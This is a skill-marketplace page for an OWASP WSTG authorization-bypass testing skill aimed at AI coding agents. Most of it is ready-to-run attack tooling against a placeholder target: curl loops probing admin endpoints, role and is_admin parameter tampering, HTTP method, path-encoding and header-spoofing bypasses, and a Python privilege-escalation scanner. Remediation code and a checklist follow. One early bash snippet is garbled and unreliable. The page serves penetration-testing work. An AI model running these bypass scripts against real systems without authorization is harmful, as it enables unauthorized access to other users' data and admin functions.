소스 정보
- 저장소
- CyberStrikeus/CyberStrike
- 최근 소스 활동
- 2026년 4월 28일 23:54
- 감지된 SKILL.md 언어
- 영어
- 스타
- 1,653
- 포크
- 254
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-authz-02명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SOC 직업 분류 기준
SKILL.md 표시 중
| name | wstg-authz-02 |
| description | Testing for Bypassing Authorization Schema |
| category | authorization |
| owasp_id | WSTG-AUTHZ-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["authorization","access-control","privilege","wstg","authz"] |
| tech_stack | [] |
| cwe_ids | ["CWE-639"] |
| chains_with | ["wstg-inpv-05","wstg-athn-05","wstg-authz-03"] |
| prerequisites | ["wstg-athn-01"] |
| severity_boost | {"wstg-inpv-05":"IDOR + SQLi = Mass Data Breach (Critical)","wstg-authz-03":"IDOR + Privilege Escalation = Admin Access (Critical)"} |
WSTG-AUTHZ-02
Testing for Bypassing Authorization Schema
Authorization bypass occurs when an attacker gains access to resources or functions without proper permission. This happens when the application fails to enforce access controls consistently, allowing users to access other users' data, perform privileged actions, or access restricted functionality through manipulation of requests, parameters, or application logic.
| Technique | Description |
|---|---|
| Parameter tampering | Changing user_id, role, etc. |
| Forced browsing | Direct URL access |
| HTTP method change | GET→POST, PUT→PATCH |
| Header manipulation | X-Original-URL, X-Rewrite-URL |
| Case manipulation | /Admin vs /admin |
| Path manipulation | /admin/../admin |
# Document what each role should access
# Admin: /admin/*, /api/admin/*
# User: /dashboard, /api/user/*
# Guest: /login, /register, /public/*
# Create test accounts for each role
# Record accessible endpoints for each
token_a=
user_a_id=
user_b_id=
endpoints=(
)
endpoint ;
url=$( | sed )
response=$(curl -s -w \
-H \
)
status=$( | -1)
body=$( | sed )
[ == ];
| -c 200
#!/bin/bash
# Test accessing admin functions as regular user
user_token="regular_user_token_here"
admin_endpoints=(
"/admin/dashboard"
"/admin/users"
"/admin/settings"
"/api/admin/users"
"/api/admin/config"
"/api/admin/logs"
"/management/health"
"/actuator/env"
"/console"
"/swagger-ui/"
)
for endpoint in "${admin_endpoints[@]}"; do
response=$(curl -s -w "\n%{http_code}" \
-H "Authorization: Bearer $user_token" \
"https://target.com$endpoint")
status=$(echo "$response" | tail -1)
if [ "$status" == "200" ] || [ "$status" == "301" ] || [ "$status" == "302" ]; then
echo "[POTENTIAL] $endpoint - Status: $status"
fi
done
# Test role parameter manipulation
curl -s -X POST "https://target.com/api/user/update" \
-H "Authorization: Bearer $user_token" \
-H "Content-Type: application/json" \
-d '{"name":"test","role":"admin"}'
# Test is_admin flag
curl -s -X POST "https://target.com/api/user/update" \
-H "Authorization: Bearer $user_token" \
-H "Content-Type: application/json" \
-d '{"name":"test","is_admin":true}'
# Test permission array
curl -s -X POST "https://target.com/api/user/update" \
-H "Authorization: Bearer $user_token" \
-H "Content-Type: application/json" \
-d '{"permissions":["read","write","admin","delete"]}'
# Test group_id escalation
curl -s -X POST "https://target.com/api/user/update" \
-H "Authorization: Bearer $user_token" \
-H "Content-Type: application/json" \
-d '{"group_id":1}' # Admin group
# If GET is blocked, try other methods
methods=("GET" "POST" "PUT" "PATCH" "DELETE" "HEAD" "OPTIONS" "TRACE")
for method in "${methods[@]}"; do
response=$(curl -s -w "%{http_code}" -X "$method" \
-H "Authorization: Bearer $user_token" \
"https://target.com/admin/users" \
-o /dev/null)
echo "$method: $response"
done
# Override method with headers
curl -s "https://target.com/admin/users" \
-H "X-HTTP-Method-Override: GET" \
-H "Authorization: Bearer $user_token"
curl -s "https://target.com/admin/users" \
-H "X-HTTP-Method: GET" \
-H "Authorization: Bearer $user_token"
# Path manipulation
urls=(
"/admin/users"
"/Admin/users"
"/ADMIN/users"
"/admin/./users"
"/admin/../admin/users"
"/admin%2fusers"
"/admin%252fusers"
"//admin/users"
"/./admin/users"
"/admin/users/"
"/admin/users?"
"/admin/users#"
"/admin/users.json"
"/admin/users;.css"
)
for url in "${urls[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $user_token" \
"https://target.com$url")
if [ "$status" == "200" ]; then
echo "[VULN] Bypass found: $url"
fi
done
# X-Original-URL / X-Rewrite-URL bypass
curl -s "https://target.com/" \
-H "X-Original-URL: /admin/users" \
-H "Authorization: Bearer $user_token"
curl -s "https://target.com/" \
-H "X-Rewrite-URL: /admin/users" \
-H "Authorization: Bearer $user_token"
# Custom headers some apps use
curl -s "https://target.com/admin/users" \
-H "X-Custom-IP-Authorization: 127.0.0.1" \
-H "Authorization: Bearer $user_token"
curl -s "https://target.com/admin/users" \
-H "X-Forwarded-For: 127.0.0.1" \
-H "Authorization: Bearer $user_token"
curl -s "https://target.com/admin/users" \
-H "X-Real-IP: 127.0.0.1" \
-H "Authorization: Bearer $user_token"
#!/usr/bin/env python3
import requests
import json
from urllib.parse import urljoin
class AuthorizationTester:
def __init__(self, base_url):
self.base_url = base_url
self.session = requests.Session()
def test_horizontal_access(self, token, own_id, target_ids, endpoints):
"""Test horizontal privilege escalation"""
print("\n[*] Testing Horizontal Authorization...")
vulnerabilities = []
self.session.headers.update({"Authorization": f"Bearer {token}"})
for endpoint_template in endpoints:
for target_id in target_ids:
endpoint = endpoint_template.replace("{id}", str(target_id))
url = urljoin(self.base_url, endpoint)
try:
response = self.session.get(url, timeout=10)
if response.status_code == 200:
if str(target_id) != str(own_id):
print(f"[VULN] Horizontal bypass: {endpoint}")
vulnerabilities.append({
"type": "horizontal",
"endpoint": endpoint,
"target_id": target_id
})
except Exception as e:
print(f"[ERROR] {endpoint}: {e}")
return vulnerabilities
def test_vertical_access(self, user_token, admin_endpoints):
"""Test vertical privilege escalation"""
print("\n[*] Testing Vertical Authorization...")
vulnerabilities = []
self.session.headers.update({"Authorization": f"Bearer {user_token}"})
for endpoint in admin_endpoints:
url = urljoin(self.base_url, endpoint)
try:
response = self.session.get(url, timeout=10)
if response.status_code == 200:
print(f"[VULN] Vertical bypass: {endpoint}")
vulnerabilities.append({
"type": "vertical",
"endpoint": endpoint,
"status": response.status_code
})
elif response.status_code in [301, 302]:
print(f"[CHECK] Redirect on: {endpoint}")
except Exception as e:
print(f"[ERROR] {endpoint}: {e}")
return vulnerabilities
def test_method_bypass(self, token, endpoint):
"""Test HTTP method bypass"""
print(f"\n[*] Testing Method Bypass on {endpoint}...")
methods = ["GET", "POST", "PUT", "PATCH", "DELETE", "HEAD", "OPTIONS"]
results = {}
self.session.headers.update({"Authorization": f"Bearer {token}"})
url = urljoin(self.base_url, endpoint)
for method in methods:
try:
response = self.session.request(method, url, timeout=10)
results[method] = response.status_code
if response.status_code == 200:
print(f"[POTENTIAL] {method} returns 200")
except:
results[method] = "error"
return results
def test_url_manipulation(self, token, base_endpoint):
"""Test URL manipulation bypasses"""
print(f"\n[*] Testing URL Manipulation on {base_endpoint}...")
vulnerabilities = []
manipulations = [
base_endpoint.upper(),
base_endpoint.capitalize(),
base_endpoint + "/",
base_endpoint + "?",
base_endpoint + "#",
base_endpoint + ".json",
base_endpoint + ";.css",
base_endpoint + "%20",
"/" + base_endpoint.lstrip("/"),
"//" + base_endpoint.lstrip("/"),
base_endpoint.replace("/", "//"),
base_endpoint.replace("/", "/./"),
base_endpoint + "/../" + base_endpoint.split("/")[-1],
]
self.session.headers.update({"Authorization": f"Bearer {token}"})
for manipulation in manipulations:
url = urljoin(self.base_url, manipulation)
try:
response = self.session.get(url, timeout=10)
if response.status_code == 200:
print(f"[VULN] Bypass: {manipulation}")
vulnerabilities.append(manipulation)
except:
pass
return vulnerabilities
def test_header_bypass(self, token, endpoint):
"""Test header-based bypasses"""
print(f"\n[*] Testing Header Bypass on {endpoint}...")
vulnerabilities = []
bypass_headers = [
{"X-Original-URL": endpoint},
{"X-Rewrite-URL": endpoint},
{"X-Forwarded-For": "127.0.0.1"},
{"X-Real-IP": "127.0.0.1"},
{"X-Custom-IP-Authorization": "127.0.0.1"},
{"X-Originating-IP": "127.0.0.1"},
{"X-Remote-IP": "127.0.0.1"},
{"X-Client-IP": "127.0.0.1"},
]
base_session = requests.Session()
base_session.headers.update({"Authorization": f"Bearer {token}"})
# First try accessing root with bypass headers
for headers in bypass_headers:
try:
response = base_session.get(
urljoin(self.base_url, "/"),
headers=headers,
timeout=10
)
if response.status_code == 200 and endpoint.lower() in response.text.lower():
print(f"[VULN] Header bypass: {headers}")
vulnerabilities.append(headers)
except:
pass
return vulnerabilities
# Usage
tester = AuthorizationTester("https://target.com")
# Test horizontal access
user_endpoints = [
"/api/users/{id}/profile",
"/api/users/{id}/orders",
"/api/accounts/{id}",
]
vulns = tester.test_horizontal_access(
token="user_token",
own_id=100,
target_ids=[101, 102, 103],
endpoints=user_endpoints
)
# Test vertical access
admin_endpoints = [
"/admin/dashboard",
"/admin/users",
"/api/admin/config",
]
vulns += tester.test_vertical_access("user_token", admin_endpoints)
print(f"\nTotal vulnerabilities: {len(vulns)}")
| Tool | Description | Usage |
|---|---|---|
| Autorize (Burp) | Authorization testing | Auto-detect auth issues |
| AuthMatrix (Burp) | Role-based testing | Matrix of permissions |
| Access Control Testing | Manual testing | Systematic verification |
| Tool | Description |
|---|---|
| Custom scripts | Tailored testing |
| Postman/Newman | API authorization tests |
from functools import wraps
from flask import request, abort, g
def require_permission(permission):
"""Decorator for permission-based access control"""
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if not g.current_user:
abort(401)
if not g.current_user.has_permission(permission):
abort(403)
return f(*args, **kwargs)
return decorated_function
return decorator
def require_resource_owner(resource_type):
"""Decorator to verify resource ownership"""
def decorator(f):
@wraps(f)
def decorated_function(*args, **kwargs):
resource_id = kwargs.get('id') or kwargs.get('resource_id')
resource = get_resource(resource_type, resource_id)
if not resource:
abort(404)
if resource.owner_id != g.current_user.id:
if not g.current_user.is_admin:
abort(403)
return f(*args, **kwargs)
return decorated_function
return decorator
# Usage
@app.route('/api/users/<int:id>/profile')
@require_permission('read:profile')
@require_resource_owner('user')
def get_user_profile(id):
return get_user(id).profile
class Permission:
READ_OWN = 'read:own'
READ_ALL = 'read:all'
WRITE_OWN = 'write:own'
WRITE_ALL = 'write:all'
ADMIN = 'admin'
class Role:
ROLES = {
'user': [Permission.READ_OWN, Permission.WRITE_OWN],
'moderator': [Permission.READ_OWN, Permission.WRITE_OWN, Permission.READ_ALL],
'admin': [Permission.READ_OWN, Permission.WRITE_OWN, Permission.READ_ALL,
Permission.WRITE_ALL, Permission.ADMIN],
}
@classmethod
def get_permissions(cls, role_name):
return cls.ROLES.get(role_name, [])
class AuthorizationService:
def __init__(self, user):
self.user = user
self.permissions = Role.get_permissions(user.role)
def can_access_resource(self, resource, action='read'):
"""Check if user can access a resource"""
# Admin can do anything
if Permission.ADMIN in self.permissions:
return True
# Check ownership for 'own' permissions
if resource.owner_id == self.user.id:
if f'{action}:own' in self.permissions:
return True
# Check 'all' permission
if f'{action}:all' in self.permissions:
return True
return False
def can_perform_action(self, action):
"""Check if user can perform an action"""
return action in self.permissions
class ABACPolicy:
def __init__(self):
self.rules = []
def add_rule(self, rule):
self.rules.append(rule)
def evaluate(self, subject, action, resource, context=None):
"""Evaluate all rules"""
for rule in self.rules:
result = rule(subject, action, resource, context)
if result is not None:
return result
return False # Deny by default
# Define rules
def owner_can_read_own_data(subject, action, resource, context):
if action == 'read' and resource.owner_id == subject.id:
return True
return None # Continue to next rule
def admin_can_do_anything(subject, action, resource, context):
if subject.role == 'admin':
return True
return None
def deny_outside_business_hours(subject, action, resource, context):
if context and not context.get('is_business_hours'):
if action in ['write', 'delete']:
return False # Explicitly deny
return None
# Usage
policy = ABACPolicy()
policy.add_rule(admin_can_do_anything)
policy.add_rule(deny_outside_business_hours)
policy.add_rule(owner_can_read_own_data)
# Check access
can_access = policy.evaluate(
subject=current_user,
action='read',
resource=document,
context={'is_business_hours': True}
)
| Finding | CVSS | Severity |
|---|---|---|
| Vertical privilege escalation | 8.8 | High |
| Horizontal privilege escalation | 8.1 | High |
| Missing authorization on sensitive endpoint | 7.5 | High |
| Inconsistent authorization enforcement | 6.5 | Medium |
| CWE ID | Title | Description |
|---|---|---|
| CWE-285 | Improper Authorization | Missing/weak auth checks |
| CWE-639 | Authorization Bypass Through User-Controlled Key | IDOR |
| CWE-862 | Missing Authorization | No auth check |
| CWE-863 | Incorrect Authorization | Wrong auth logic |
[ ] Role-based access mapped
[ ] Horizontal authorization tested
[ ] Vertical authorization tested
[ ] Parameter manipulation tested
[ ] HTTP method bypass tested
[ ] URL manipulation bypasses tested
[ ] Header-based bypasses tested
[ ] Client-side controls verified
[ ] All endpoints tested
[ ] API endpoints tested
[ ] Findings documented
[ ] Remediation recommendations provided